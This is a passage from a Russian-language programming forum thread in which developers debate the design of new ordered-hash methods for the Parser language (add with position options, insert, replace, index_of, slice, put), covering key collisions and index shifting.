как это сделать с вашим add - не очевидно.[/quote]\
\
Куда уж очевиднее:\
[code]$hash.[^hash.at($index)[key]][new_value][/code]\
\
[quote]\
\
b) ну и самое главное, \
кажется что ваш replace никак не может быть бескровно заменен на delete + add \
при работе по индексу.\
\
Потому, что после delete - порядок ключей перестроится, и индексы уползут, \
надо будет еще и доставать актуальный индекс для последующего add \
- все это не выглядит упрощением.\
[/quote]\
\
Add добавляет ключ после указанного индекса, не вместо.\
В конце-концов, если вставка сложная — в виде хеша — можно добавить новый ключ, и после этого удалить старый, узнав его новый индекс.\
\
[quote]\
Да и шаг назад как раз обсуждали, что\
^hash.replace[key;$.key[value] …]\
\
два ключа подряд в аргументе, хотя и key $.key - но тем не менее, путанно.[/quote]\
\
Не вижу никакой путаницы.\
Зато при передаче в виде хеша можно заменить ключ на хеш, а не только значение на значение.\
\
[quote]\
да и сам add с определением (вставка по индексу) как-то неоднозначен,\
это в любом случае замена, зато замена не дает разночтения что это вставка \"между\" или вставка \"поверх\" - при этом сам add переводится как добавление.\
[/quote]\
\
Мы добавляем ключи в хеш в указанную позицию.\
Метод уже так работает, появится только указатель позиции.\
\
Существующие ключи перезаписываются.\
[code]$one[\
	$.a[1]\
	$.b[2]\
]\
$two[\
	$.b[3]\
	$.c[4]\
]\
^one.add(0)[$two]\
\
->\
\
$one[\
	$.b[3]\
	$.c[4]\
	$.a[1]\
][/code]"
"83158","[quote]Ключ получит новое значение в новой позиции.[/quote]\
\
Ничоси. \
Изобразить метод add (сложения) как \"наложение\" по индексу/ключу - я еще понимаю.\
Разрешение коллизиции путем false или утилизации одноименного  ключа при работе по индексу - тоже еще как-то понятно.\
\
Но сделать из \"наложения/сложения\" - вставку со сдвигом ввниз? Причем при работе в режиме индекса...\
\
Т.е. вот так у вас происходит:\
\
[code]\
^hash.add(0)[$.KeyC[valueC2]]\
\
0: KeyA:ValueA  ->    0: KeyC:ValueC2\
1: KeyB:ValueB  ->    1: KeyA:ValueA\
2: KeyC:ValueC  ->    2: KeyB:ValueB\
\
[/code]\
\
Мало того, что как я и писал старый элемент 2:KeyC:ValueC -\"утилизировался\", так еще и остальные индексы подвинулись. Это еще менее очевидное поведение, чем предполагалось.\
\
И плюс вы пишите:\
[quote]Вставляет он [b]после указанной позиции[/b]. Add добавляет ключ [b]после указанного индекса[/b], не вместо.[/quote]\
\
Что-то на примере результата выше кажется совсем иначе, как заказали в index(0) - так и получили, плюс шифт всего вниз. \
\
[quote]Мы добавляем ключи в хеш [b]в указанную позицию[/b].\
Метод уже так работает, появится только указатель позиции.[/quote]\
\
На вскидку в самой модели - каша какая-то, хотя синтаксис и подача аргументов в методы - не в пример лучше.\
\
\
[b]Вывод \"взбалтывать, но не смешивать\":[/b]\
Все же гипотеза (выше по треду) о том, что при прочих равных - априори надо разделять и не смешивать [b]overlaying[/b] и [b]insertion[/b] - механики, а сами их по отдельности можно взбалтывать, но смешивать между собой = ни-ни.\
\
Абракадбра, которая образуется в случае если мы принебрегаем этим фактом - доказывается раз за разом. \
\
Собственно: http://www.parser.ru/forum/?id=83129\
\
Поэтому, оставлю на суд остальных, мне кажется это такая реализация с add, это как раз та \"каша\", которую я получил на 2-ой \"формализации\", и уже к 3-ей осознал наличие чёткой оси - наложение/вставка, при принебрежении которой модель будет неуклонно заползать в неочевидные поведения."
"83159","[quote]Мало того, что как я и писал старый элемент 2:KeyC:ValueC -\"утилизировался\", так еще и остальные индексы подвинулись. Это еще менее очевидное поведение, чем предполагалось.[/quote]\
\
А как иначе?\
Должно появится два одноимённых ключа и при этом ничего никуда не должно сдвинуться?\
Волшебство.\
\
[quote]Абракадбра, которая образуется в случае если мы принебрегаем этим фактом - доказывается раз за разом.[/quote]\
\
Вместо всех этих портянок, которые очень сложно читать, можно было бы сделать пять прототипов и всё проверить в деле, не обращая внимания на скорость.\
\
Более того, запросто бы выяснилось, что и на живой задаче (которую я по-прежнему не представляю) всё работало бы достаточно быстро.\
\
Делать из Парсера Питон не нужно, он не лучший пример для подражания."
"83160","[quote]А как иначе?\
Должно появится два одноимённых ключа и при этом ничего никуда не должно сдвинуться?[/quote]\
\
Дак написано же было неоднократно: одноименный старый ключ - утилизируется.\
Зачем куда-то что-то сдвигать в примере?\
\
[code]\
^hash.add(0)[$.KeyC[valueC2]]\
\
0: KeyA:ValueA  ->   0: KeyC:ValueC2 (замена ключа:значеня в index=0) \
1: KeyB:ValueB  ->   1: KeyB:ValueB  (остался на своем месте)\
2: KeyC:ValueC  ->   -: утилизирован из пространства имён хеша\
\
[/code]\
\
Т.е. в конкретном примере, на index=0 - находится KeyA - и мы хотим на его место записать, а по итогу получаем сдвиг.\
\
Конечно, если отойти от конкретного примера, то ясно, что удаленный одноименный старый ключ где-то внутри хеша -> перестроит индекс... но такая вставка для add.. реально путает, вот поэтому replace/insert смотрелись лучше."
"83161","[quote]Дак написано же было неоднократно: одноименный старый ключ - утилизируется.\
Зачем куда-то что-то сдвигать?\
^hash.add(0)[$.KeyC[valueC2]]\
\
0: KeyA:ValueA  ->   0: KeyC:ValueC2 (замена ключа:значеня в index=0) \
1: KeyB:ValueB  ->   1: KeyB:ValueB  (остался на своем месте)\
2: KeyC:ValueC  ->   -: утилизирован из пространства имён хеша[/quote]\
\
«Нормально».\
\
Добавляем в хеш данные, а из него посторонние ключи пропадают.\
\
Сейчас есть add, который прекрасно и понятно работает.\
Но он не учитывает позиций и делает слияние с добавлением после существующих ключей.\
Добавляем ему аргумент позиции и получаем возможность управлять порядком ключей получившегося хеша.\
\
В простом случае (без конфликтов ключей) — это insert в указанное место.\
Но отдельный метод не требуется, ибо решает очень редкую задачу.\
\
Обсуждение идёт по кругу, потому что не сформированы чёткие задачи и цель.\
Что имеем, что хотим получить, какие методы для этого нужны.\
Без заделов на далёкое и прекрасное несбыточное будущее."
"83162","[quote]Вместо всех этих портянок, которые очень сложно читать[/quote]\
Ну... не текстом единым, я еще картинку нарисовал :)\
\
В общем, я уже всю свою позицию закончил на этом сообщении:\
http://www.parser.ru/forum/?id=83154"
"83163","[quote]Для \"overlaying\"-механики\
\
для обращения по ключу\
\
 ^hash.key.replace[key;value] - изменяет ключ-значение\
 ^hash.key.replace[key] - только переименовывает ключ (топикстарт треда)\
[/quote]\
\
Вот это как должно работать?\
Метод replace должен быть у всех типов, которые умеет хранить хеш?\
\
[quote]\
жалко так нелья :)\
 ^hash.at(0).replace[...]\
[/quote]\
\
Даже если поддерживались бы цепочки вызовов, это та же ситуация, что и выше.\
Работало бы, только если значение ключа — другой хеш и то, работало бы уже для другого хеша.\
\
[quote] ^hash.key.insert[key;value][option] - вставка за ключом ^hash.key[/quote]\
\
Аналогично, это вызов метода insert значения ключа."
"83164","[quote]«Нормально».\
Добавляем в хеш данные, а из него посторонние ключи пропадают.[/quote]\
\
Да, \"усушка\" хеша, мне тоже не нравится (не сказать, что не имеет права на жизнь), но  я об этом уже писал, и при подаче replace/insert - возникает у replace(index)[key;value] который в таком случае не должен производить замену и возвращать false \
\
Зато, если мы говорим \"изменить ключ\" по индексу=0, в котором до замены жил KeyA - то KeyA - ожидаемо заменяется, а не сдвигается вниз. \
\
В общем, вопрос дизайна и компромисса"
"83165","[quote]Метод replace должен быть у всех типов, которые умеет хранить хеш?[/quote]\
\
Промахнулся ссылкой. Это был уже \"спонтанный патч\" на MoKo-вские претензии по двум ключам в аргументе.\
\
Более явная точка зрения вот эта (http://www.parser.ru/forum/?id=83129)\
\
Продублирую суть:\
-------------------\
[code] ^hash.replace[at][key;value]\
    at = индекс / ключ / last или first /, где надо произвести замену\
    key = имя нового ключа (если не указать, то заменится только значение)\
    value = значение (если не указать, то заменится только имя ключа)\
\
    * при некорректном at, операций не производится, метод возвращает = false\
    ** правило для единственной коллизии:\
      когда мы заменяем по at=index, но в хеше, \
      также, присутствует одноименный ключ = key, \
      операция не производится, и метод возвращает = false\
      \
\
 ^hash.insert[at][key;value][option]\
    at = индекс / ключ / last или first /, где надо произвести вставку\
    key = имя нового ключа (обязательно)\
    value = значение (обязательно? в хеше вроде можно пустые значения в ключах)\
    option = after/before (необязательная опция, по-умолчанияю after)\
\
    * при некорректном at, операций не производится, метод возвращает = false\
    ** правило для единственной коллизии:\
      если мы вставляем по at=index, но в хеше, \
      также, присутствует одноименный ключ = key, \
      операция не производится, и метод возвращает = false\
\
[/code]\
-------------------\
И всё. \
\
Всё вписано в эти два метода, они очевидны как по названию, так и по ожиданиям и четко разделены по способу (over/insert). Никаких смешений вставок/наложений/сдвигов и неявных поведений против всех прошлых вариантов (включая мои) - тут вроде нет. \
\
Остальное дело за синтаксисом. \
Моя позиция на этом в общем-то пока закончена."
"83166","Оба метода несовместимы с ключами с именами «first» и «last».\
Оба метода возвращают bool, что будет приводить к исключениям при вызове вне выражения или присвоения, а значит большая часть вызовов будет в виде $tmp(^hash.replace[…])."
"83167","На предложение MoKo \"кто заикнулся тому и лопата в руки\", \
я честно покрутил модель парсерного хеша, пройдя 3 итерации осмысления.\
\
Заглянул для опоры в опыт сообщества Python 2.x/3.x, потыкал как он обрабатывает коллизиции (на удивление - ничего нового, а практически так же, как и было предложено \"от бедра\": либо исключение, либо strict=True/False).\
\
Поэтому, думается, что это наиболее лаконичная и при этом интуитивно-понятная модель (из числа предложенных в треде), но закрывающая, при этом, всё по вставке/замене/переименованию элементов.\
\
Все неявные моменты (при работе с индексом + ключом) сводятся к минимально-возможному числу = всего 1(одна), и при этом максимально очевидная коллизия (которая может даже опционально обработана по-разному). \
\
При неоднократной попытке слепить другую модель (без осознанной раскройки по over/insert), лично я получал только бОльшее кол-во коллизий и неявных поведений, с растущим зоопарком опций или кол-вом методов. И пример предложенного add,rename и т.п. - только доказывает эту гипотезу.\
\
Таким образом, чтобы не нарезать круги, надо или предложить модель по-лучше или доигрывать оформление, но не ломая предложенную модель. \
\
В практическом смысле, это означает, что каждый из двух логических методов - прототипов (replace/insert), можно как угодно переименовать, подать по синтаксису/аргументам, и даже раздробить на методы, при условии не смешивать логические методы-прототипы  между собой. \
\
Так, что кругов нет - я прикатился к предложенному прототипу, требующему должного оформления, либо пересмотра самого прототипа, если есть более весомые контраргументы."
"83168","В рамках, упомянутого ранее, способа нахождения решения: \
A:модель -> B:абстрактные методы-прототипы -> C:рабочая имплементация (оформление)\
\
Поэтому, в рамках стадии \"C\" (оформление):\
Вписать (весь или частично) - [b]^hash.replace[/b] => в уже сущ. [b]^hash.add[/b]\
- выглядит весьма остроумно. Поскольку и [b]^хеш.add[/b], и [b]^хеш.replace[/b] -> оба согласованы, как [b]\"overlaying\"[/b].\
\
Однако, этот факт необходимо четко держать под рукой, т.к. выползание за пределы модели overlay/insert - произойдет рассогласование, и модель поплывет опять в сторону неявных поведений.\
\
Поэтмоу, при условии (включая коллизию), что новый [b]^хеш.add[/b] не будет приводить к сдвигу индексов для уже сущ.ключей, равно как это и происходит для [b]^хеш.add[/b] и сейчас - он вполне применим и модель не сломается."
"83170","[quote]Поэтмоу, при условии (включая коллизию), что новый ^хеш.add не будет приводить к сдвигу индексов для уже сущ.ключей, равно как это и происходит для ^хеш.add и сейчас - он вполне применим и модель не сломается.[/quote]\
\
Очевидно, что это невозможно.\
Добавление не в конец всегда будет сдвигать всё идущее далее.\
\
Сейчас смещения не происходит, потому что добавление всегда идёт после существующих элементов.\
\
Нужен replace — пишется в пару строк, добавление и удаление старого ключа."
"83173","[quote]Очевидно, что это невозможно.\
Добавление не в конец всегда будет сдвигать всё идущее далее.\
[/quote]\
\
Именно так. \
И по этой же причине [b]add-replace[/b] по индексу - не заменить на последовательный delete + add. \
\
Поэтому, в предложенном [b]\"meta-replace\"[/b] сформулировано правило:\
[quote]\"[b]replace[/b] работает строго \"поверх\" сущ.ключей, без попутного добавления/вставки/удаления и всегда сохраняет итоговое кол-во элементов и порядок индексов.\"\
(**кроме одного из возможного сценария по обработке единственной коллизии - который может давать \"усушку\" хеша, или возврат false, -1, или исключения).[/quote]\
\
Метод же [b]meta-insert[/b] - делает строго наоборот - вставляет всегда \"между\" (это и вставка в вершину, и за/после элементом/индексом, и в конец). И что фактически во всех случаях, кроме вставки в конец - приводит к сдвигу/пересчету индексов.\
\
\
[quote]Нужен replace — пишется в пару строк, добавление и удаление старого ключа.[/quote]\
\
Эта \"пара строк\" для задачи изменения имени ключа (в текущем положении дел), с сохранием его порядка(индекса), будет прогонять один, а то и два цикла по всему хешу (до совпадения). К \"бабке не ходи\", на 100 элементов при 1000 таких \"replace\" - будет ощутимая просадка.\
\
Присваивание и доступ по ключу - есть. Доступ по индексу - тоже есть.\
А присваивания по индексу - нет. Replace - это \"присваивание по индексу\" и есть по сути."
"83174","Два обязательных метода:\
\
^h.index_of[key] -> int\
Возвращает порядковый номер ключа в хеше. Выбрасывает исключение, если ключа нет.\
\
^h.insert[index;hash;options] -> []\
Вставляет другой хеш перед index.\
index — (int)|[first|last]. Отрицательный индекс как в ^hash.at.\
Если в хеше есть одноименные ключи - выбрасываем исключение. \
Если в опциях $.force(true), то удаляем одноименные ключи, вставляем новый хеш и не выбрасываем исключение.\
\
И еще один для выкусывания куска хеша с индексами от from до to, чтобы не делать for+at:\
^h.slice[from;to] -> [hash]\
From - (int)|[first]\
To - (int)|[last]\
\
Вместе со штатным набором эти методы покрывают все возможные сценарии работы с хешем как со структурой данных. Что не покрывают, то не надо делать на хешах. :)\
\
Риплейс: \
^h.insert(^h.index_of[key])[$.key[$h.key];$.force(true)]\
\
Реверс:\
^h.sort[k;_](^h.index_of[$k])[desc]"
"83175","[quote]^h.index_of[key] -> int[/quote]\
Однозначно - да.\
\
[quote]\
^h.insert[index;hash;options] -> []\
Вставляет другой хеш перед index.\
index — (int)|[first|last]. Отрицательный индекс как в ^hash.at.\
Если в хеше есть одноименные ключи - выбрасываем исключение. \
Если в опциях $.force(true), то удаляем одноименные ключи, вставляем новый хеш и не выбрасываем исключение.\
[/quote]\
\
1. Какие основания не уметь вставлять другой хеш, \"в точку\" по имени ключа?\
\
2. Почему вставка только \"перед\", и почему она? / На примере того же Питона (класс collection.deque, по-умолчанию везде \"после\" (append), а для вставки \"перед\", отдельно appendleft или extendleft. / \
\
NB: А еще, если понимать под last - индекс последнего элемента хеша, то вставка \"перед\" ним, логически означает \"добавит в аккурат перед последним значением\" (тоже самое, только наоборот - при вставке в вершину).\
\
3. $.force - опциональная обработка исключения - хорошо, а как насчет варианта \"quiet\", когда операция ничего не производит, и возвращает -1 (кол-ва удачно измененных ключей). У нас же не падает исключение, когда мы получаем порой void на результы некоторых операций.\
\
4. Ну, и собственно, главный вопрос топика (\"...и всего такого\" (c)):\
И как с этим достаточным минимумом - изменить ключ и/или значение в конкретном месте по индексу (с сохранием этого индекса и без сдвига всего хеша)?"
"83176","^h.insert(^h.index_of[key])[$.new_key[$h.key];$.force(true)]\
^h.delete[key]"
"83177","Там выше предположили более интересный вариант: \"Страница с framset содержит неоткрытый тег: html (может поэтому кто-то иногда ловит глюки?)\". Поправил, вдруг поможет. В целом надо искать и решать проблему, а не добавлять комментарий."
"83178","Эти .html файлы автоматически генерятся, вероятно баг в софте. Поправил, вдруг поможет..."
"83179","Немного смущает заметно больший оверхед варианта ^h.insert($index)[$.key[$value] ;$options] против ^h.insert(index)[$key;$value;$options], поскольку в первом случае создается временный хеш. Если бы не возможность пустого хеша, можно было бы оба варианта сделать... Ну и если будет index last, то кажется не помешает опция before/after, поскольку иначе получится что обычную вставку \"за последним\" этот метод не умеет."
"83180","[quote]Немного смущает заметно больший оверхед варианта ^h.insert($index)[$.key[$value] ;$options][/quote]\
Если смотреть на набор методов, то ПАФ явно считал хеш множеством. Поэтому и предлагаю сразу сделать метод, который дополнит add/union/intersect. Задача вставки крайне редкая и плодить кучу методов не хочется.\
\
[quote]Ну и если будет index last, то кажется не помешает опция before/after[/quote]\
Смысл параметра index — в какой позиции текущего хеша будет находится первый элемент того, что мы вставляем. first — вставляем в начало, last — вставляем в конец, число — вставляем перед элементом с порядковым номером."
"83181","[code]\
^h.add[$.new_key[$h.key];\
  $.at(^h.index_of[key])\
  $.replace(true)\
]\
[/code]"
"83183","Позвольте, продублирую последовательно всю механику из примера.\
\
Итак:\
[code]\
# например, это хеш $h\
0: KeyA:ValueA\
1: KeyB:ValueB\
2: KeyC:ValueC\
\
Я хочу заменить имя ключа KeyB на KeyD - с сохранением индексов хеша.\
Подставим значения в приведенный код:\
\
^h.insert(^h.index_of[KeyB])[$.KeyD[$h.KeyB];$.force(true)]\
\
Процесс:\
# stage I: новый ключ-значение вставляется перед index_of[KeyB] = 1\
0: KeyA:ValueA\
--> KeyD.ValueB\
1: KeyB:ValueB\
2: KeyC:ValueC\
\
# stage II: упорядочивание индексов с учетом нового элемента\
0: KeyA:ValueA\
1: KeyD:ValueB  \
2: KeyB:ValueB\
3: KeyC:ValueC\
\
# stage III: удаление \"старого\" ключа\
^h.delete[KeyB]\
\
0: KeyA:ValueA\
1: KeyD:ValueB  \
del -> KeyB:ValueB\
3: KeyC:ValueC\
\
# stage IV: перестройка индексов\
0: KeyA:ValueA\
1: KeyD:ValueB  \
2: KeyC:ValueC\
\
# Результат: \
0: KeyA:ValueA -> 0: KeyA:ValueA\
1: KeyB:ValueB -> 1: KeyD:ValueB\
2: KeyC:ValueC -> 2: KeyC:ValueC\
[/code]\
\
\"Магически\" - работает!\
\
Хотя мне это надо переварить (на предмет, а вдруг что-то вылезет при работе с пачками ключей). \
И если никаких новых неявностей не выплывает, то пока это самый лаконичный вариант, да.\
\
P.S.: slice - это нужно, но боялся заикаться в этом треде (чтобы не мешать в кучу все вопросы)."
"83184","[quote]Смысл параметра index — в какой позиции текущего хеша будет находится первый элемент того, что мы вставляем. first — вставляем в начало, last — вставляем в конец, число — вставляем перед элементом с порядковым номером.[/quote]\
\
index,first - вставляем перед. last - вставляем после. Что-то мне не кажется такое поведение традиционным. Или ты встречал где-нибудь подобное?"
"83186","[quote]Если смотреть на набор методов, то ПАФ явно считал хеш множеством. Поэтому и предлагаю сразу сделать метод, который дополнит add/union/intersect. Задача вставки крайне редкая и плодить кучу методов не хочется.[/quote]\
\
Ну, способ поместить один элемент в хеш без указания позиции есть ($h.$key[$value]), нелогично не иметь метод с указанием позиции. Можно сделать ^h.put[$key;$value;$options]. Его же кстати можно будет использовать, если ключ получается вызовом метода (сейчас требуется промежуточная переменная)."
"83187","Вроде поправили html-код для frameset-страницы, попробуйте снова, глюк наблюдается?"
"83189","Почему-то казалось, что методы мы в этом месте не даем вызывать. OK, этот агрумент вычеркиваем. :)"
"83190","[code]\
^h.add[\
  $.new_key[value]\
][\
  $.before(^h.index_of[key])\
# $.before[first]\
# $.after[last]\
# $.after($h-1)  \
]\
^h.delete[key]\
[/code]\
\
Может быть только один параметр before или after. Если передадут два, то вываливаемся с исключением.\
\
Параметр $.replace(true) для add не нужен — он должен заменить ключи самостоятельно.\
\
Итого получаем:\
^h.index_of[key] -> int\
^h.add[...][$.before/after[int|first|last]]\
^h.put[key;value;$.before/after[int|first|last]]\
^h.slice(from;to) и ^h.slice(from) — второй возвращает хвост хеша.\
\
В слайс можно вставить reverse:\
^h.slice(0)[$.reverse(true)]\
^h.slice(0;4)[$.reverse(true)]"
"83191","[quote]Если в хеше есть одноименные ключи - выбрасываем исключение. \
Если в опциях $.force(true), то удаляем одноименные ключи, вставляем новый хеш и не выбрасываем исключение.[/quote]\
\
Не нужно ни исключение, ни force.\
Проверить наличие ключей перед вставкой программист может сам, есть contains и intersects.\
Метод должен молча перезаписывать — это привычное поведение текущего add."
"83193","Но подождем, какие еще мнения будут..."
"83194","[quote]И по этой же причине add-replace по индексу - не заменить на последовательный delete + add.[/quote]\
\
Сначала добавление, потом удаление.\
Если добавляемый ключ перезаписал существующий."
"83195","Тогда при вышеупомнятом примере, допустим если я хочу наложить поверх\
пачку ключей:значений, начиная от заданного индекса.\
Так же - с сохранием порядка/индексов тех ключей, которых наложение не затронет.\
\
То мне надо:\
 a) заранее выяснить все имена тех ключей, на которые произойдет наложение \"шлейфа\" новых (тут, да, slice - приходит на помощь)\
 b) но потом, всё равно крутить их в цикле delete (тогда delete тоже должен уметь удалять пачки ключей, как предлагал G_Z)\
\
Ну и вообще чисто [b]Пользовательный взгляд:[/b] получается какой-то слишком нарочитый аскетизм, где пущена почти целиком под нож -  ожидаемая и комфортная работа с семантически-понятными и ожидаемыми в поведении - методами. \
\
Зачем так откровенно кроить подачу, превращая по сути работу с \"высокоуровневым фрейморком\" в написание прошивки на brainfuck."
"83196","[quote]b) но потом, всё равно крутить их в цикле delete (тогда delete тоже должен уметь удалять пачки ключей, как предлагал G_Z)[/quote]\
\
Так у нас уже есть ^хеш.sub[хеш-вычитаемое]. Так что, замена - это ^хеш.sub[^хеш.slice(2,3)] + ^хеш.add(2)[новое]. Эффективность кстати почти не страдает."
"83197","С учётом типов значений в пару строк уже не будет."
"83198","[quote]\
Итого получаем:\
...\
^h.add[...][$.before/after[int|first|last]]\
^h.put[key;value;$.before/after[int|first|last]]\
...\
[/quote]\
\
Утратил нить, а что то тогда делает [b]put[/b], Если [b]add[/b] - в вашем варианте \"вставляет после\", и главное зачем, когда от add ждешь физики именно сложения/слияния ключей, но никак не вставки между.\
\
Плюс выплывают неявные \"семафоры с опциями\", типа:\
 before нельзя вместе с after.\
\
Вот тут с картинками нарисовал \"мысли глазами пользователя\".\
http://www.parser.ru/forum/?id=83206"
"83200","Соглашусь, при наложении по add - даже если результат перетрет не один, а \"усушит\" сращу на два ключа - это нормально, и ожидаемо."
"83201","[quote]^h.slice(from;to) и ^h.slice(from) — второй возвращает хвост хеша.[/quote]\
\
Подумалось что логичнее поддержвать first и last и все-таки обязать указывать оба параметра. Оно может длинее, но много однозначнее."
"83202","^hash.delete(index)\
Сейчас делает то же, что и \
^hash.delete[index]\
То есть если кто-то случайно (или умышленно, имея индексами числа) писал круглые скобки - будет обратная несовместимость.\
\
Может дополнить вариантом вызова как у slice - с двумя параметрами с/по?\
\
[quote]^hash.delete[key1;key2;…][/quote]\
\
А это можно сделать через ^hash.sub[ $.key1[] $.key2[] ...]\
\
[quote]\
# переименование\
^hash.rename[old_key_name;new_key_name]\
^hash.rename(index)[new_key_name][/quote]\
\
В общем можно, но знаю, насколько востребовано."
"83203","[quote]^hash.delete(index)\
Сейчас делает то же, что и \
^hash.delete[index]\
То есть если кто-то случайно (или умышленно, имея индексами числа) писал круглые скобки - будет обратная несовместимость.[/quote]\
\
Да, увы.\
Но, по-моему, это логично (многие нативные методы требуют параметров определённого типа) и мало распространено.\
Мне кажется плюсы, всё же, перевешивают минусы и лучше получить небольшую несовместимость, чем делать отдельный метод только для удаления по индексу.\
\
Опять же, решается чуть более громоздким ^hash.delete[^hash.at($index)[key]] и не является крайне необходимым.\
\
[quote]Может дополнить вариантом вызова как у slice - с двумя параметрами с/по?[/quote]\
\
В теории — полезно.\
На практике, лично я за тринадцать лет не помню случаев, когда мне бы требовалась нарезка хеша или удаление сегментов.\
\
[quote]А это можно сделать через ^hash.sub[ $.key1[] $.key2[] ...][/quote]\
\
Можно, конечно.\
Но я [url=http://www.parser.ru/forum/?id=82638]предлагал перечисление в качестве упрощения такой записи[/url].\
\
[quote]В общем можно, но знаю, насколько востребовано.[/quote]\
\
Rename тоже не критичен, но вставка + удаление усложняются типом значения, который нужно сохранить при вставке, и нативный метод упростил бы манипуляцию."
"83204","[quote]Подумалось что логичнее поддержвать first и last и все-таки обязать указывать оба параметра. Оно может длинее, но много однозначнее.[/quote]\
\
^string.mid(…) вполне однозначен, и тут будет привычно."
"83206","Первоначальная идея G_Z \"прокачать\" уже сущ.[b]add[/b], чем делать более скупой [b]replace[/b], мысль - ясна.\
\
Оба согласуются в плоскости \"наложения/слияния\" значений.\
После добавления работы с индексом - ожидаешь, что \"физика\" сложения/слияния ключей - останется на месте.\
\
Скрещивать add сразу со вставкой, форсированно предлагая думать о \"вставке перед\" - как-то неочевидно, и заморочено. И что в таком разе, означает предложенный тут же [b]put[/b]...\
\
Либо я уже потерял угол восприятия, или происходит что-то не то.\
Чтобы не писать \"портянки\", прилагаю умозрительные схемы всех основных сценариев для нового add, глазами \"пользователя\", с его изначальной \"физикой\" - слияния.\
\
Привожу умозрительные картинки для ^хеш.add[хеш-слагаемое]\
1) [url=\"http://s33.postimg.org/y6eov2usv/p3_hash_add_0.png\"]Сложение по ключу (стандартное)[/url]\
2) [url=\"http://s33.postimg.org/vffb8663z/p3_hash_add_2.png\"]Сложение по индексу(1)[/url]            \
3) [url=\"http://s33.postimg.org/mloer2j5b/p3_hash_add_3_1.png\"]Сложение по индексу[last][/url]\
4) [url=\"http://s33.postimg.org/kwfbj03fz/p3_hash_add_3_2.png\"]Сложение по индексу[last]  пачка[/url]\
5) [url=\"http://s33.postimg.org/98pv273ov/p3_hash_add_4.png\"]Сложение по индексу(1)+коллизия (усушка ключей)[/url]\
\
Соответственно, изменения ключей в том же месте по индексу - происходит при работе в режиме индекса (с указанием $.at), в ином случае, будет работа по ключу (как обычно).\
\
Для вставки под-хеша в хеш, с указанием before/after (key/index) всё же просится отдельный метод, а-ля insert или лучше extend (если продолжать в стиле работы со множествами: union,intersection,add,sub)\
\
P.S.:  И что тогда такое put, кстати?"
"83207","Аналог $h.key[value], но с возможностью указания позиции.\
Вообще можно запретить ^h.add[key;value] (поскольку не имеет смысла),\
и тогда этот эффективный вызов можно сделать и в рамках add\
^h.add[key;value;обязательные options - before или after]"
"83208","Я однозначно не понимаю, как вы с Sumo сочетаете add + before/after.\
Посмотрите, если не сложно, картинки из предыдущего сообщ.(http://www.parser.ru/forum/?id=83206) - и скажите, что я понимаю не так в отношении add.\
\
На текущий момент, кажется, что [b]add (делающий слияние ключей)[/b] асболютно перпендикулярен для after/before - намекающим на вставку с раздвиганием ключей."
"83209","Add работает как обычно, заменяя имеющиеся ключи в любом месте.\
Опции индекса указывают в какое место начинать вставку."
"83210","Хеш — это множество. В математическом смысле. Множества можно складывать, вычитать, пересекать, объединять и так далее. С некоторых пор хеш стал упорядоченным. Требуется немного расширить возможности групповых операций. Поэтому для add добавили опции, чтобы указать с какой позиции добавлять множество. Сделали метод slice, чтобы получать непрерывный кусок множества (как mid у строки). \
\
Метод index_of нужен, чтобы связать имя ключа с порядковым номером. Метод put — оптимизация для эффективной работы с множеством из одного элемента."
"83211","Вот я привёл конкретную картинку, которая рисовалась у меня для add. Который я всегда воспринимал, как операцию (сложения/слияние двух множеств), и в рамках обсуждения только дорисовал то поведение, которое кажется интуитивным при указании индекса:\
\
http://s33.postimg.org/vffb8663z/p3_hash_add_2.png\
\
Может я просто всегда ошибался насчет того, что такое add? Мне интутивно казалось, что это фактически зеркальная операция со множествами, по отношению к union - обе они про \"слиянии\" множеств. \
\
Но union не перетирает старые ключи, а add наоборот перетирает. Фактически это выглядит как сляние множеств, но с правилом overwrite:true/false\
\
И я очевидно наблюдаю, что вы (c единомышленниками) - говорите об add, как об операции не слиянии, а вставки под-множества в другое множество. \
\
И юмор в том, что при работе по именам ключей: [b]слияние или вставка[/b] - дает неотличимый по факту результат, а значит можно думать об add что угодно.\
\
Но, как только мы переходим от \"гипер-шкалы\" ключей (множества), к \"последовательной шкале\" индексов для цепочки элементов (ряды), то операции [b]слияние[/b] и [b]вставки[/b] - начинаю иметь разный смысл.\
\
Поэтому, при работе по индексу (режим рядов). Должно работать правило: сначала работаем как с массивом (рядом), а потом разрешаем коллизии имен ключей (множеств).\
\
И вообще - органически прилежно, тогда всем методам работы со множествами / рядами (хеш+хеш), добавить работу с index.\
\
 sub + index = дает нам адресное удаление по индексу, в том числе пачками.\
 union/add + index = дает наложение рядов с overwrite или нет.\
\
 extend/insert + index = вставка под-ряда в ряд (будет ли давать др.результат с учетом разрешения коллизиции по именам ключей, т.е. на этапе работы со множеством, после отработки этапа работы с рядом)"
"83212","Читаем буквально как написано:\
^h1.add[$h2][$.before[first]] — в хеш h1 добавить хеш h2 перед первым элементом.\
^h1.add[$h2][$.after[last]] — в хеш h1 добавить хеш h2 после последнего элемента. Это тоже самое, что и ^h1.add[$h2].\
^h1.add[$h2][$.before(10)] — в хеш h1 добавить хеш h2 перед десятым элементом.\
^h1.add[$h2][$.after(15)] — в хеш h1 добавить хеш h2 после пятнадцатого элемента.\
\
Эти строки читаются однозначно и понятно. Четко понятно куда и что вставляется. Если в хеше уже есть одноименные ключи, то они будут удалены перед вставкой, потому что в хеше нельзя хранить одноименные ключи — это фундаментальное ограничение этой структуры данных. Порядок ключей — свойство вторичное и ограничением не является. Поэтому порядок может меняться.\
\
Поэтому семантика операции add однозначная. Суть структуры данных не меняет.\
\
p.s. Давайте вопрос семантики закроем."
"83213","[quote]Хеш — это множество. В математическом смысле. Множества можно складывать, вычитать, пересекать, объединять и так далее. [/quote]\
\
Всё верно. Именно так я и воспринимал.\
Разница лишь в том, что для множества (словарь) \"вставка/слияние\" - это одно и то же, т.к. происходит по гипершкале - ключи без порядка следования.\
\
Вставка и слияния для ряда (массив) \"вставка/слияние\" - имеет разницу, т.к. происходит с цепочкой упорядочнных элементов.\
\
Давайте тогда проясним что такое add изначально?\
Может я просто всегда ошибался насчет того, что такое add? \
\
Мне интутивно казалось, что это фактически зеркальная операция со множествами, по отношению к union - обе они про \"слияние\" множеств.\
\
Но union не перетирает старые ключи, а add наоборот перетирает. Фактически это выглядит как сляние множеств, но с правилом overwrite:true/false\
\
А т.к. в векторе ключей (множеств) - результат вставки/слияния = будет одинаков, то при переходе в пространство рядов (индексов) - поплыло восприятие.\
\
Но это, к слову, не отменяет факта, что при указании индекса, мы автоматически переходим в режим рядов (массива). \
\
P.S.: Я (почему-то успел изменить свой вопрос позже, чем вы на него ответили, т.е. тут апдейтнуный взгляд на мои непонятки - http://www.parser.ru/forum/?id=83211)"
